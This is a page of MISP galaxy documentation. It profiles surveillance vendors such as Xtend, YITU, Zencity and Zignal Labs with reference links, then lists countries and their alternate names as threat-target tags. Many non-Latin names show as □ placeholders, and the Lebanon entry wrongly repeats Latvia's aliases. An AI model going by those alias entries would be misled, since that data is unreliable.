Xtend is an Israeli drone manufacturer. Their Xtender is a miniature indoor drone controlled via virtual reality goggles, allowing operators to conduct intrusive surveillance missions. Their Scorpio drone is also designed for surveillance and combat. Equipped with cameras, sensors, and even lethal payloads, these drones use Xtend's OSX operating system for human-assisted autonomy, enabling automated navigation and multi-drone coordination. The company works closely with the U.S Department of Defense as well as the Israeli military.

The tag is: *misp-galaxy:surveillance-vendor="Xtend"*

Table 18088. Table References

Links
https://defense-update.com/20240619_israels-indoor-surveillance-and-attack-drones.html
https://www.euronews.com/2024/03/23/eu-funding-drone-technology-used-by-israel-in-gaza-war-claims-monitor
https://dronelife.com/2024/12/20/xtend-secures-8-8m-u-s-department-of-defense-contract-for-ai-driven-tactical-drones/
https://www.defensenews.com/unmanned/2022/10/17/xtend-signs-9m-drone-deal-with-pentagons-irregular-warfare-office/
https://techcrunch.com/2024/05/08/controversial-drone-company-xtend-leans-into-defense/
https://defence-blog.com/xtend-delivers-counter-drone-interceptors-to-u-s-military/

Xuexi Qiangguo

Xuexi Qiangguo, translated as "Study the Great Nation," is a mobile application launched by the Chinese government in early 2019. While initially promoted as an educational tool to promote Xi Jinping Thought and Party ideology, Xuexi Qiangguo has evolved into a multifaceted platform that also serves as a surveillance and monitoring tool. Beyond tracking user activities within the app, Xuexi Qiangguo also collects personal data to create detailed profiles of users for surveillance purposes. The app's gamified structure ties into China's broader social credit system, where positive engagement with Party propaganda content can contribute to a higher social credit score. Negative activities or associations can result in penalties, restrictions or imprisonment. The app was developed in collaboration with the Chinese tech giant Alibaba.

The tag is: *misp-galaxy:surveillance-vendor="Xuexi Qiangguo"*

Table 18089. Table References

Links
https://www.wsj.com/articles/china-broadens-data-collection-through-propaganda-app-and-translation-service-11571058689
https://www.cnbc.com/2019/10/14/china-xi-jinping-ideology-app-has-backdoor-that-could-let-beijing-snoop-on-users-report.html
https://abcnews.go.com/Business/chinas-popular-education-app-surveillance-device-pocket-advocacy/story?id=66262334
https://www.reuters.com/article/business/alibaba-is-the-force-behind-hit-chinese-communist-party-app-sources-idUSKCN1Q70Y0/

XYZ Elements

XYZ Elements is an Israeli company that provides open source intelligence tools tailored for surveillance purposes. It operates under the leadership of Roy Shloman, a former executive at Senpai Technologies, another Israeli surveillance company. In 2019, XYZ Elements was integrated into Intellexa, the cyber intelligence alliance led by Tal Dilian, a former commander of Israel's Unit 8200.

The tag is: *misp-galaxy:surveillance-vendor="XYZ Elements"*

Table 18090. Table References

Links
https://www.intelligenceonline.com/surveillance—interception/2023/06/08/former-senai-exec-roy-shloman-blossoms-in-israeli-cyber,109991921-art
https://www.intelligenceonline.com/surveillance—interception/2022/11/25/israeli-osint-firm-xyz-elements-woos-uae,109868027-art
https://www.xyzelements.com/#rec217391205
https://www.dnb.com/business-directory/company-profiles.xyz_elements_ltd.08cb5a9b7aae56bfdf058fb5aa796fb8.html

YITU

YITU is a Chinese company that specializes in surveillance technology. The company has gained recognition for its advanced capabilities in facial recognition, so much so that it won first place in a 2017 facial recognition algorithm contest held by the United States government's Office of the Director of National Intelligence. Yitu provides high-tech surveillance in the UAE, where it maintains an office in Abu Dhabi. Yitu Limited owns or controls, directly or indirectly, Shanghai Yitu Technology Co., Ltd. (Yitu), an entity that operates or has operated in the surveillance technology sector of the economy of the PRC. Yitu has been involved in developing facial recognition technology that looks exclusively for Uyghurs and has been integrated into China's rapidly expanding networks of surveillance cameras. In addition, Yitu has established an overseas office to export its surveillance technology to foreign law enforcement agencies. Yitu has gained wide recognition for its Dragonfly Eye System, a facial scanning platform that can identify a person

from a database of at least 2 billion people in a matter of seconds.

The tag is: *misp-galaxy:surveillance-vendor="YITU"*

Table 18091. Table References

Links
https://www.nytimes.com/2018/07/08/business/china-surveillance-technology.html
https://journals.sagepub.com/doi/pdf/10.1177/0306422019876445
https://www.cnbc.com/2019/05/16/this-chinese-facial-recognition-start-up-can-id-a-person-in-seconds.html

Yozmot

Founded by former Israeli army colonel Dany Tirza, Yozmot Ltd. develops body cameras equipped with facial recognition technology for Israeli forces. The company is headquartered in Kfar Adumim, a Jewish settlement in the occupied West Bank. The company claims its facial recognition software can scan crowds and detect individuals in realtime, even if their faces are obscured.

Yozmot's AI-powered biometric matching capabilities is powered by Corsight.

The tag is: *misp-galaxy:surveillance-vendor="Yozmot"*

Table 18092. Table References

Links
https://www.timesofisrael.com/israeli-firm-develops-body-cams-with-facial-recognition-technology/
https://www.digitaljournal.com/tech-science/israeli-firm-develops-body-cams-with-facial-recognition/article
https://www.biometricupdate.com/202201/startup-integrating-real-time-facial-recognition-from-corsight-with-police-body-cameras
https://www.jpost.com/business-and-innovation/tech-and-start-ups/article-694353

Zencity

Zencity is an Israeli data analytics company that helps local governments monitor public sentiment by analyzing social media, message boards, local news, and other public data sources. Serving over 200 agencies across the United States, its platform is used by U.S cities like Phoenix, New Orleans, and Pittsburgh to track public reactions to topics. It also enables police agencies to track negative sentiment toward law enforcement without residents' knowledge or consent.

The lack of public oversight in contracts with Zencity, often approved without city council input, has led to criticism that usage of the tool prioritizes surveillance over genuine community engagement.

The tag is: *misp-galaxy:surveillance-vendor="Zencity"*

Table 18093. Table References

Links
https://progressive.org/latest/government-monitor-you-lahm-210827/
https://www.wired.com/story/ai-helps-police-monitor-social-media-go-too-far/
https://actionnetwork.org/letters/cut-the-contract-with-israeli-surveillance-company-zencity
https://www.cbsnews.com/minnesota/news/cities-monitoring-resident-social-media-zencity/
https://www.axios.com/2019/08/14/cities-track-citizens-sentiment-through-social-media

Zenith Technologies

Zenith Technologies is a developer of AI-powered surveillance products. The company showcased its AI EagleEye Intelligent Patrol, integrated with Saudi Arabia's first Lucid police patrol vehicle, at the World Defense Show in Riyadh in 2024. This platform features six embedded AI cameras, providing 360-degree situational awareness, real-time streaming, Automatic Number Plate Recognition (ANPR), facial recognition, and other AI-powered data analytics designed for law enforcement. It also develops an AI-enabled drone, which extends surveillance capabilities from the patrol vehicle, and streams live footage and other data to a central command operated by police agencies.

The company deploys its tools to various agencies in the Gulf region, including Dubai Police and Ajman Police in the UAE, where it also has a regional office.

The tag is: *misp-galaxy:surveillance-vendor="Zenith Technologies"*

Table 18094. Table References

Links
https://www.intelligentcio.com/me/2024/02/19/saudis-ministry-of-interior-transforms-the-future-of-policing-with-zenith-technologies-disruptive-ai-drone-embedded-eagleeye-lightbar/
https://www.zawya.com/en/press-release/companies-news/zenith-technologies-pioneering-security-innovation-and-supporting-the-uaes-vision-to-become-one-of-the-safest-countries-in-the-world-l6575lfz
https://www.zenith.com.au/

Zero Security

Zero Security Research Labs is a zero-day vulnerability reseller that also offers intelligence-gathering systems, including IMSI-catchers and Wi-Fi interception tools. One of their primary products, Xperia-Active, enables the capture of IMSI, IMEI, and TMSI data, as well as real-time communication interception. The company is founded by Andres Acosta, Azizjon Mamashoev, and James Grandoff, and is headquartered in Florida, USA.

The tag is: *misp-galaxy:surveillance-vendor="Zero Security"*

Table 18095. Table References

Links
https://www.intelligenceonline.com/surveillance—interception/2024/09/17/the-star-broker-of-computer-flaws-sold-in-central-asia-moves-to-miami,110306691-gra
https://www.intelligenceonline.com/surveillance—interception/2021/04/26/zero-security-research-labs---zero-day-broker-and-imsi-catcher,109660492-art

ZeroEyes

ZeroEyes is a AI-powered gun detection technology founded in 2018 by a team of Navy SEALs. The system integrates with existing security cameras to monitor video feeds 24/7, scanning for visible firearms. If a firearm is detected, the system sends human-verified alerts within 3-5 seconds to school administrators and law enforcement. The technology has been widely adopted in schools across nearly 40 U.S. states.

ZeroEyes was involved in a false alarm incident at a Texas high school, where its AI system incorrectly identified a threat and triggered a lockdown.

The tag is: *misp-galaxy:surveillance-vendor="ZeroEyes"*

Table 18096. Table References

Links
https://www.thetrace.org/2024/10/chicago-transit-zeroeyes-gun-shotspotter/
https://statescoop.com/zeroeyes-school-safety-ai-firearm-detection-2024/
https://www.eweek.com/news/university-uses-ai-for-camera-weapon-detection/
https://statescoop.com/missouri-mike-parson-school-safety-zeroeyes-bill-veto/
https://news4sanantonio.com/newsletter-daily/texas-high-school-goes-into-lockdown-due-to-ai-security-systems-false-alarm-students-friends-family-scared-security-system-campus

Zhongke Ronghui Security

Zhongke Ronghui Security Technology is a Chinese company that develops surveillance and forensic data extraction tools, including the XDH-5200A scanner used to retrieve data from mobile phones. Its products are widely deployed by police across 32 of China's 33 provinces. Procurement records show major city police departments, including Beijing and Shanghai, have invested heavily in these tools. Zhongke Ronghui's technologies support real-time data collection, social monitoring, and integration with broader surveillance systems such as facial recognition and AI-driven analytics.

The tag is: *misp-galaxy:surveillance-vendor="Zhongke Ronghui Security"*

Table 18097. Table References

Links
https://tribune.com.pk/story/1780680/laboratory-far-west-chinas-surveillance-state-spreads-quietly

https://www.lifesitenews.com/news/china-cracks-down-on-citizens-scans-handheld-devices-for-illegal-informatio/

Zignal Labs

Zignal Labs is a San Francisco-based big data analytics company that develops real-time media monitoring and business intelligence tools. Founded by Josh Grinsberg, the company enables clients to monitor, analyze and organize data from social media and other online platforms. In partnership with Qorvis Communications, a long-standing lobbying firm for Saudi Arabia, Zignal Labs has been contracted to provide surveillance activities on behalf of the Royal Embassy of Saudi Arabia.

In October 2025, it was revealed that ICE signed a $5.7 million contract for licenses to Zignal Labs' software. The platform is also utilized by the Israeli military and the Pentagon.

The tag is: *misp-galaxy:surveillance-vendor="Zignal Labs"*

Table 18098. Table References

Links
https://theintercept.com/2015/03/24/saudi-arabia-retains-gops-big-data-firm-advance-policy-agenda/
https://www.washingtonpost.com/news/powerpost/wp/2016/04/20/saudi-government-has-vast-network-of-pr-lobby-firms-in-u-s/
https://www.truthdig.com/articles/saudi-arabia-continues-hiring-spree-of-u-s-lobbyists-and-public-relations-experts/
https://truthout.org/articles/ice-just-spent-millions-on-a-social-media-surveillance-ai-program/

Target Information

Description of targets of threat actors..

Target Information is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

Unknown

Luxembourg

The tag is: *misp-galaxy:target-information="Luxembourg"*

Luxembourg is also known as:

- Grand Duchy of Luxembourg

- Grand-Duché de Luxembourg
- Lëtzebuerg
- Groussherzogtum Lëtzebuerg
- Luxemburg
- Großherzogtum Luxemburg

Afghanistan

The tag is: *misp-galaxy:target-information="Afghanistan"*

Afghanistan is also known as:

- □□□□□□□□□
- Afġānistān
- Afġānestān
- Islamic Republic of Afghanistan

Albania

The tag is: *misp-galaxy:target-information="Albania"*

Albania is also known as:

- Shqipëri
- Shqipëria
- Shqipni
- Shqipnia
- Shqypni
- Shqypnia
- Republic of Albania

Algeria

The tag is: *misp-galaxy:target-information="Algeria"*

Algeria is also known as:

- □□□□□□□□
- al-Jazā□ir
- □□□□□□□□
- al-dzāyīr
- People’s Democratic Republic of Algeria

American Samoa

The tag is: *misp-galaxy:target-information="American Samoa"*

American Samoa is also known as:

- Amerika Sāmoa
- Amelika Sāmoa
- Sāmoa Amelika

Andorra

The tag is: *misp-galaxy:target-information="Andorra"*

Andorra is also known as:

- Principality of Andorra
- Principat d'Andorra
- Principality of the Valleys of Andorra
- Principat de les Valls d'Andorra

Angola

The tag is: *misp-galaxy:target-information="Angola"*

Angola is also known as:

- Republic of Angola
- República de Angola
- Repubilika ya Ngola

Anguilla

The tag is: *misp-galaxy:target-information="Anguilla"*

Antarctica

The tag is: *misp-galaxy:target-information="Antarctica"*

Antigua and Barbuda

The tag is: *misp-galaxy:target-information="Antigua and Barbuda"*

Argentina

The tag is: *misp-galaxy:target-information="Argentina"*

Argentina is also known as:

- Argentine Republic
- República Argentina

Armenia

The tag is: *misp-galaxy:target-information="Armenia"*

Armenia is also known as:

- □□□□□□□□
- Hayastan
- Republic of Armenia
- □□□□□□□□□ □□□□□□□□□□□□□□□□
- Hayastani Hanrapetut’yun

Aruba

The tag is: *misp-galaxy:target-information="Aruba"*

Aruba is also known as:

- Papiamento

Australia

The tag is: *misp-galaxy:target-information="Australia"*

Australia is also known as:

- Commonwealth of Australia

Austria

The tag is: *misp-galaxy:target-information="Austria"*

Austria is also known as:

- Österreich
- Republic of Austria
- Republik Österreich

Azerbaijan

The tag is: *misp-galaxy:target-information="Azerbaijan"*

Azerbaijan is also known as:

- Az□rbaycan
- Republic of Azerbaijan
- Az□rbaycan Respublikası

Bahamas

The tag is: *misp-galaxy:target-information="Bahamas"*

Bahamas is also known as:

- Commonwealth of The Bahamas
- The Bahamas

Bahrain

The tag is: *misp-galaxy:target-information="Bahrain"*

Bahrain is also known as:

- al-Ba□rayn
- Kingdom of Bahrain
- □□□□□ □□□□□□□□
- Mamlakat al-Ba□rayn
- □□□□□□□

Bangladesh

The tag is: *misp-galaxy:target-information="Bangladesh"*

Bangladesh is also known as:

- □□□□□□□□
- The country of Bengal
- People’s Republic of Bangladesh
- □□□□□□□□□□□□□□ □□□□□□□□
- Gônoprojatontri Bangladesh

Barbados

The tag is: *misp-galaxy:target-information="Barbados"*

Belarus

The tag is: *misp-galaxy:target-information="Belarus"*

Belarus is also known as:

- Беларусь
- Republic of Belarus
- Рэспубліка Беларусь
- Республика Беларусь
- Byelorussia
- Belorussia
- Белоруссия

Belgium

The tag is: *misp-galaxy:target-information="Belgium"*

Belgium is also known as:

- België
- Royaume de Belgique
- Königreich Belgien
- Kingdom of Belgium
- Koninkrijk België

Belize

The tag is: *misp-galaxy:target-information="Belize"*

Benin

The tag is: *misp-galaxy:target-information="Benin"*

Benin is also known as:

- Bénin
- Republic of Benin
- République du Bénin

Bermuda

The tag is: *misp-galaxy:target-information="Bermuda"*

Bermuda is also known as:

- Islands of Bermuda

Bhutan

The tag is: *misp-galaxy:target-information="Bhutan"*

Bhutan is also known as:

- □□□□□□□□□
- Druk Yul
- Kingdom of Bhutan
- □□□□□□□□□□□□□
- Druk Gyal Khap

Bolivia

The tag is: *misp-galaxy:target-information="Bolivia"*

Bolivia is also known as:

- Mborivia
- Puliwya
- Wuliwya
- Plurinational State of Bolivia
- Estado Plurinacional de Bolivia
- Tetã Hetãvoregua Mborivia
- Puliwya Mamallaqta
- Wuliwya Suyu

Bosnia and Herzegovina

The tag is: *misp-galaxy:target-information="Bosnia and Herzegovina"*

Bosnia and Herzegovina is also known as:

- BiH
- B&H

- Bosnia–Herzegovina
- Bosnia

Botswana

The tag is: *misp-galaxy:target-information="Botswana"*

Botswana is also known as:

- Republic of Botswana
- Lefatshe la Botswana

Brazil

The tag is: *misp-galaxy:target-information="Brazil"*

Brazil is also known as:

- Federative Republic of Brazil

British Indian Ocean Territory

The tag is: *misp-galaxy:target-information="British Indian Ocean Territory"*

British Indian Ocean Territory is also known as:

- BIOT

British Virgin Islands

The tag is: *misp-galaxy:target-information="British Virgin Islands"*

British Virgin Islands is also known as:

- BVI
- Virgin Islands

Brunei

The tag is: *misp-galaxy:target-information="Brunei"*

Brunei is also known as:

- Nation of Brunei, the Abode of Peace
- Negara Brunei Darussalam (Rumi script)
- □□□□□ □□□□□ □□□□□□□□□□

Bulgaria

The tag is: *misp-galaxy:target-information="Bulgaria"*

Bulgaria is also known as:

- България
- B□lgariya
- Republic of Bulgaria
- Република България
- Republika B□lgariya

Burkina Faso

The tag is: *misp-galaxy:target-information="Burkina Faso"*

Burundi

The tag is: *misp-galaxy:target-information="Burundi"*

Burundi is also known as:

- Republic of Burundi
- Republika y'Uburundi
- République du Burundi

Cambodia

The tag is: *misp-galaxy:target-information="Cambodia"*

Cambodia is also known as:

- Kampuchea
- Cambodge
- □□□□□□□□□□□□□□□□□□□□□□
- prě□h ri□ci□naacak kampuci□
- Royaume du Cambodge

Cameroon

The tag is: *misp-galaxy:target-information="Cameroon"*

Cameroon is also known as:

- Cameroun
- Republic of Cameroon
- République du Cameroun
- Renndaandi Kamerun

Canada

The tag is: *misp-galaxy:target-information="Canada"*

Cape Verde

The tag is: *misp-galaxy:target-information="Cape Verde"*

Cape Verde is also known as:

- Cabo Verde
- Republic of Cabo Verde
- República de Cabo Verde
- Repúblika di Kabu Verdi

Cayman Islands

The tag is: *misp-galaxy:target-information="Cayman Islands"*

Central African Republic

The tag is: *misp-galaxy:target-information="Central African Republic"*

Central African Republic is also known as:

- CAR
- Renndaandi Afirka Cakaari
- Ködörösêse tî Bêafrîka
- République centrafricaine
- Centrafrique

Chad

The tag is: *misp-galaxy:target-information="Chad"*

Chad is also known as:

- □□□□

- Tshād
- Tchad
- Republic of Chad
- République du Tchad
- □□□□□□□ □□□□
- Jumhūriyyat Tshād

Chile

The tag is: *misp-galaxy:target-information="Chile"*

Chile is also known as:

- Republic of Chile
- República de Chile (Spanish)
- Chile Wüdalmapu
- Chili Suyu
- Chili Ripuwlika
- Repūvirika o Tire

China

The tag is: *misp-galaxy:target-information="China"*

China is also known as:

- □□
- Zhōngguó
- People’s Republic of China
- PRC
- □□□□□□□
- Zhōnghuá Rénmín Gònghéguó

Christmas Island

The tag is: *misp-galaxy:target-information="Christmas Island"*

Christmas Island is also known as:

- Territory of Christmas Island

Cocos Islands

The tag is: *misp-galaxy:target-information="Cocos Islands"*

Cocos Islands is also known as:

- Cocos (Keeling) Islands
- Territory of Cocos (Keeling) Islands
- Pulu Kokos (Keeling)
- Wilayah Kepulauan Cocos (Keeling)

Colombia

The tag is: *misp-galaxy:target-information="Colombia"*

Colombia is also known as:

- Republic of Colombia
- República de Colombia

Comoros

The tag is: *misp-galaxy:target-information="Comoros"*

Comoros is also known as:

- □□□ □□□□□
- Juzur al-Qumur/Qamar
- Union of the Comoros
- □□□□□□□ □□□□□□
- al-Itti□ād al-Qumurī/Qamarī
- Union des Comores
- Umoja wa Komori

Cook Islands

The tag is: *misp-galaxy:target-information="Cook Islands"*

Cook Islands is also known as:

- Kūki 'Āirani

Costa Rica

The tag is: *misp-galaxy:target-information="Costa Rica"*

Costa Rica is also known as:

- Republic of Costa Rica
- República de Costa Rica

Croatia

The tag is: *misp-galaxy:target-information="Croatia"*

Croatia is also known as:

- Hrvatska
- Republic of Croatia
- Republika Hrvatska

Cuba

The tag is: *misp-galaxy:target-information="Cuba"*

Cuba is also known as:

- Republic of Cuba
- República de Cuba

Curaçao

The tag is: *misp-galaxy:target-information="Curaçao"*

Curaçao is also known as:

- Curacao

Cyprus

The tag is: *misp-galaxy:target-information="Cyprus"*

Cyprus is also known as:

- Κύπρος
- Kıbrıs
- Republic of Cyprus
- Κυπριακή Δημοκρατία

- Cypriot Republic
- Kıbrıs Cumhuriyeti

Czech Republic

The tag is: *misp-galaxy:target-information="Czech Republic"*

Czech Republic is also known as:

- Česká republika
- Czechia
- Česko

Democratic Republic of the Congo

The tag is: *misp-galaxy:target-information="Democratic Republic of the Congo"*

Democratic Republic of the Congo is also known as:

- DR Congo
- DRC
- DROC
- Congo-Kinshasa
- Congo
- République démocratique du Congo
- Repubilika ya Kôngo ya Dimokalasi
- Republíki ya Kongó Demokratíki
- Jamhuri ya Kidemokrasia ya Kongo
- Ditunga dia Kongu wa Mungalaata

Denmark

The tag is: *misp-galaxy:target-information="Denmark"*

Denmark is also known as:

- Danmark
- Kingdom of Denmark
- Kongeriget Danmark

Djibouti

The tag is: *misp-galaxy:target-information="Djibouti"*

Djibouti is also known as:

- Yibuuti
- □□□□□□
- Jabuuti
- Republic of Djibouti
- République de Djibouti
- □□□□□□□ □□□□□□
- Jamhuuriyadda Jabuuti
- Gabuutih Ummuuno

Dominica

The tag is: *misp-galaxy:target-information="Dominica"*

Dominica is also known as:

- Wai‘tu kubuli
- Commonwealth of Dominica

Dominican Republic

The tag is: *misp-galaxy:target-information="Dominican Republic"*

Dominican Republic is also known as:

- República Dominicana

East Timor

The tag is: *misp-galaxy:target-information="East Timor"*

East Timor is also known as:

- Timor-Leste
- Timór Lorosa’e
- Democratic Republic of Timor-Leste
- Repúblika Demokrátika Timór-Leste
- República Democrática de Timor-Leste

Ecuador

The tag is: *misp-galaxy:target-information="Ecuador"*

Ecuador is also known as:

- Ikwayur
- Ecuador
- Ekuatur
- Republic of Ecuador
- República del Ecuador
- Ikwayur Runaq Imayka
- Ekuatur Nunka
- Ikwadur Ripuwlika

Egypt

The tag is: *misp-galaxy:target-information="Egypt"*

Egypt is also known as:

- □□□□ر
- □□□□ر
- □□□□
- Arab Republic of Egypt
- □□□□□□□ □□□ □□□□□□□

El Salvador

The tag is: *misp-galaxy:target-information="El Salvador"*

El Salvador is also known as:

- Republic of El Salvador
- República de El Salvador

Equatorial Guinea

The tag is: *misp-galaxy:target-information="Equatorial Guinea"*

Equatorial Guinea is also known as:

- Guinea Ecuatorial

- Guinée équatoriale
- Guiné Equatorial
- Republic of Equatorial Guinea
- República de Guinea Ecuatorial
- République de Guinée équatoriale
- República da Guiné Equatorial

Eritrea

The tag is: *misp-galaxy:target-information="Eritrea"*

Eritrea is also known as:

- □□□□
- State of Eritrea

Estonia

The tag is: *misp-galaxy:target-information="Estonia"*

Estonia is also known as:

- Eesti
- Republic of Estonia
- Eesti Vabariik

Ethiopia

The tag is: *misp-galaxy:target-information="Ethiopia"*

Ethiopia is also known as:

- □□□□□
- Itoophiyaa
- Itoobiya
- Federal Democratic Republic of Ethiopia
- □□□□□□ □□□□□ □□□□□□□ □□□□□
- ityoppiah federalih demokrasih ummuno
- Rippabliikii Federaalawaa Dimokraatawaa Itiyoophiyaa
- Jamhuuriyadda Dimuqraadiga Federaalka Itoobiya

Falkland Islands

The tag is: *misp-galaxy:target-information="Falkland Islands"*

Falkland Islands is also known as:

- Islas Malvinas

Faroe Islands

The tag is: *misp-galaxy:target-information="Faroe Islands"*

Faroe Islands is also known as:

- Føroyar
- Færøerne
- Faeroe Islands

Fiji

The tag is: *misp-galaxy:target-information="Fiji"*

Fiji is also known as:

- Viti
- □□□□□
- Republic of Fiji
- Matanitu Tugalala o Viti
- □□□□□ □□□□□□□

Finland

The tag is: *misp-galaxy:target-information="Finland"*

Finland is also known as:

- Suomi
- Republic of Finland
- Suomen tasavalta
- Republiken Finland

France

The tag is: *misp-galaxy:target-information="France"*

France is also known as:

- French Republic
- République française

French Polynesia

The tag is: *misp-galaxy:target-information="French Polynesia"*

French Polynesia is also known as:

- Polynésie française
- Pōrīnetia Farāni

Gabon

The tag is: *misp-galaxy:target-information="Gabon"*

Gabon is also known as:

- Gabonese Republic
- République gabonaise

Gambia

The tag is: *misp-galaxy:target-information="Gambia"*

Gambia is also known as:

- The Gambia
- Republic of The Gambia

Georgia

The tag is: *misp-galaxy:target-information="Georgia"*

Georgia is also known as:

- □□□□□□□□□□
- sakartvelo
- Republic of Georgia
- □□□□□□□□□□□ □□□□□□□□□□
- sakartvelos resp’ublik’a

Germany

The tag is: *misp-galaxy:target-information="Germany"*

Germany is also known as:

- Deutschland
- Federal Republic of Germany
- Bundesrepublik Deutschland

Ghana

The tag is: *misp-galaxy:target-information="Ghana"*

Ghana is also known as:

- Republic of Ghana

Gibraltar

The tag is: *misp-galaxy:target-information="Gibraltar"*

Gibraltar is also known as:

- □□□ □□□□
- Jabal □āriq

Greece

The tag is: *misp-galaxy:target-information="Greece"*

Greece is also known as:

- Hellas
- Ελλάς
- Hellenic Republic
- Ελληνική Δημοκρατία
- Ellinikí Dimokratía

Greenland

The tag is: *misp-galaxy:target-information="Greenland"*

Greenland is also known as:

- Kalaallit Nunaat

- Grønland

Grenada

The tag is: *misp-galaxy:target-information="Grenada"*

Guam

The tag is: *misp-galaxy:target-information="Guam"*

Guam is also known as:

- Guåhån
- Territory of Guam

Guatemala

The tag is: *misp-galaxy:target-information="Guatemala"*

Guatemala is also known as:

- Republic of Guatemala
- República de Guatemala

Guernsey

The tag is: *misp-galaxy:target-information="Guernsey"*

Guernsey is also known as:

- Guernési

Guinea

The tag is: *misp-galaxy:target-information="Guinea"*

Guinea is also known as:

- Ginee
- Guinée
- Republic of Guinea
- Renndaandi Ginee
- République de Guinée (French)

Guinea-Bissau

The tag is: *misp-galaxy:target-information="Guinea-Bissau"*

Guinea-Bissau is also known as:

- Guiné-Bissau
- Republic of Guinea-Bissau
- República da Guiné-Bissau

Guyana

The tag is: *misp-galaxy:target-information="Guyana"*

Guyana is also known as:

- Co-operative Republic of Guyana

Haiti

The tag is: *misp-galaxy:target-information="Haiti"*

Haiti is also known as:

- Haïti
- Ayiti
- Republic of Haiti
- République d'Haïti
- Repiblik Ayiti
- Hayti

Honduras

The tag is: *misp-galaxy:target-information="Honduras"*

Honduras is also known as:

- Republic of Honduras
- República de Honduras

Hong Kong

The tag is: *misp-galaxy:target-information="Hong Kong"*

Hong Kong is also known as:

- Hong Kong Special Administrative Region of the People’s Republic of China

Hungary

The tag is: *misp-galaxy:target-information="Hungary"*

Hungary is also known as:

- Magyarország

Iceland

The tag is: *misp-galaxy:target-information="Iceland"*

Iceland is also known as:

- Ísland

India

The tag is: *misp-galaxy:target-information="India"*

India is also known as:

- Republic of India
- Bhārat Ga□arājya

Indonesia

The tag is: *misp-galaxy:target-information="Indonesia"*

Indonesia is also known as:

- Republic of Indonesia
- Republik Indonesia

Iran

The tag is: *misp-galaxy:target-information="Iran"*

Iran is also known as:

- Persia
- Islamic Republic of Iran
- □□□□□□ □□□□□□ □□□□□
- Jomhuri-ye Eslāmi-ye Irān

Iraq

The tag is: *misp-galaxy:target-information="Iraq"*

Iraq is also known as:

- □□□□□□
- al-'Irāq
- □□□□□ر
- Êraq
- Republic of Iraq
- □□□□□□□ □□□□□□
- □□□□□□ □□□□□
- □□□□□□ □□□□□□□
- Jumhūrīyyat al-'Irāq
- Komarî Êraq

Ireland

The tag is: *misp-galaxy:target-information="Ireland"*

Ireland is also known as:

- Éire
- Republic of Ireland

Isle of Man

The tag is: *misp-galaxy:target-information="Isle of Man"*

Isle of Man is also known as:

- Mannin
- Ellan Vannin
- Mann

Israel

The tag is: *misp-galaxy:target-information="Israel"*

Israel is also known as:

- □□□□□□□□□□

- □□□□□□□□□□□□
- State of Israel

Italy

The tag is: *misp-galaxy:target-information="Italy"*

Italy is also known as:

- Italia
- Italian Republic
- Repubblica Italiana

Ivory Coast

The tag is: *misp-galaxy:target-information="Ivory Coast"*

Ivory Coast is also known as:

- Côte d'Ivoire
- Republic of Côte d'Ivoire
- République de Côte d'Ivoire

Jamaica

The tag is: *misp-galaxy:target-information="Jamaica"*

Japan

The tag is: *misp-galaxy:target-information="Japan"*

Japan is also known as:

- □□
- Nippon
- Nihon
- Nippon-koku
- Nihon-koku
- State of Japan

Jersey

The tag is: *misp-galaxy:target-information="Jersey"*

Jersey is also known as:

- Jèrri
- Bailiwick of Jersey
- Bailliage de Jersey
- Bailliage dé Jèrri

Jordan

The tag is: *misp-galaxy:target-information="Jordan"*

Jordan is also known as:

- □□□□□□□□□□□□
- Al-□Urdunn
- Hashemite Kingdom of Jordan
- □□□□□□□ □□□□□□□□ □□□□□□□□
- Al-Mamlakah Al-Urdunnīyah Al-Hāshimīyah

Kazakhstan

The tag is: *misp-galaxy:target-information="Kazakhstan"*

Kazakhstan is also known as:

- Қазақстан
- Qazaqstan
- Казахстан
- Kazakhstan
- Republic of Kazakhstan
- Қазақстан Республикасы
- Qazaqstan Respýblıkasy
- Республика Казахстан
- Respublika Kazakhstan

Kenya

The tag is: *misp-galaxy:target-information="Kenya"*

Kenya is also known as:

- Republic of Kenya

- amhuri ya Kenya

Kiribati

The tag is: *misp-galaxy:target-information="Kiribati"*

Kiribati is also known as:

- Republic of Kiribati
- Ribaberiki Kiribati

Kosovo

The tag is: *misp-galaxy:target-information="Kosovo"*

Kosovo is also known as:

- Kosova
- Kosovë
- Косово
- Republic of Kosovo
- Republika e Kosovës
- Република Косово
- Republika Kosovo

Kuwait

The tag is: *misp-galaxy:target-information="Kuwait"*

Kuwait is also known as:

- □□□□□□
- al-Kuwait
- State of Kuwait
- □□□□ □□□□□□
- Dawlat al-Kuwait

Kyrgyzstan

The tag is: *misp-galaxy:target-information="Kyrgyzstan"*

Kyrgyzstan is also known as:

- Кыргызстан

- Kırğızstan
- Kyrgyz
- Kyrgyz Republic
- Кыргыз Республикасы
- Kırğız Respublikası
- Кыргызская Республика
- Kyrgyzskaya Respublika
- Kirghizia
- Киргизия

Laos

The tag is: *misp-galaxy:target-information="Laos"*

Laos is also known as:

- Lāo
- □□□
- Lao People’s Democratic Republic
- □□□□□□□□□□□ □□□□□□□□□□□ □□□□□□□□□□□
- Sathalanalat Paxathipatai Paxaxon Lao
- République démocratique populaire lao
- Muang Lao
- □□□□□□□□

Latvia

The tag is: *misp-galaxy:target-information="Latvia"*

Latvia is also known as:

- Latvija
- Le□mō
- Republic of Latvia
- Latvijas Republika
- Le□mō Vabām

Lebanon

The tag is: *misp-galaxy:target-information="Lebanon"*

Lebanon is also known as:

- Latvija
- Le□mō
- Republic of Latvia
- Latvijas Republika
- Le□mō Vabāmō

Lesotho

The tag is: *misp-galaxy:target-information="Lesotho"*

Lesotho is also known as:

- Kingdom of Lesotho
- 'Muso oa Lesotho

Liberia

The tag is: *misp-galaxy:target-information="Liberia"*

Liberia is also known as:

- Republic of Liberia

Libya

The tag is: *misp-galaxy:target-information="Libya"*

Libya is also known as:

- □□□□□
- Lībiyā
- State of Libya
- □□□□ □□□□□

Liechtenstein

The tag is: *misp-galaxy:target-information="Liechtenstein"*

Liechtenstein is also known as:

- Principality of Liechtenstein
- Fürstentum Liechtenstein

Lithuania

The tag is: *misp-galaxy:target-information="Lithuania"*

Lithuania is also known as:

- Lietuva
- Republic of Lithuania
- Lietuvos Respublika

Macau

The tag is: *misp-galaxy:target-information="Macau"*

Macau is also known as:

- Macao
- □□
- Macao Special Administrative Region of the People’s Republic of China
- □□□□□□□□□□□□□□□
- Jūng’wàh Yàhnmàhn Guhng’wòhgwok Oumún Dahkbiht Hàhngjingkēui
- Região Administrativa Especial de Macau da República Popular da China

North Macedonia

The tag is: *misp-galaxy:target-information="North Macedonia"*

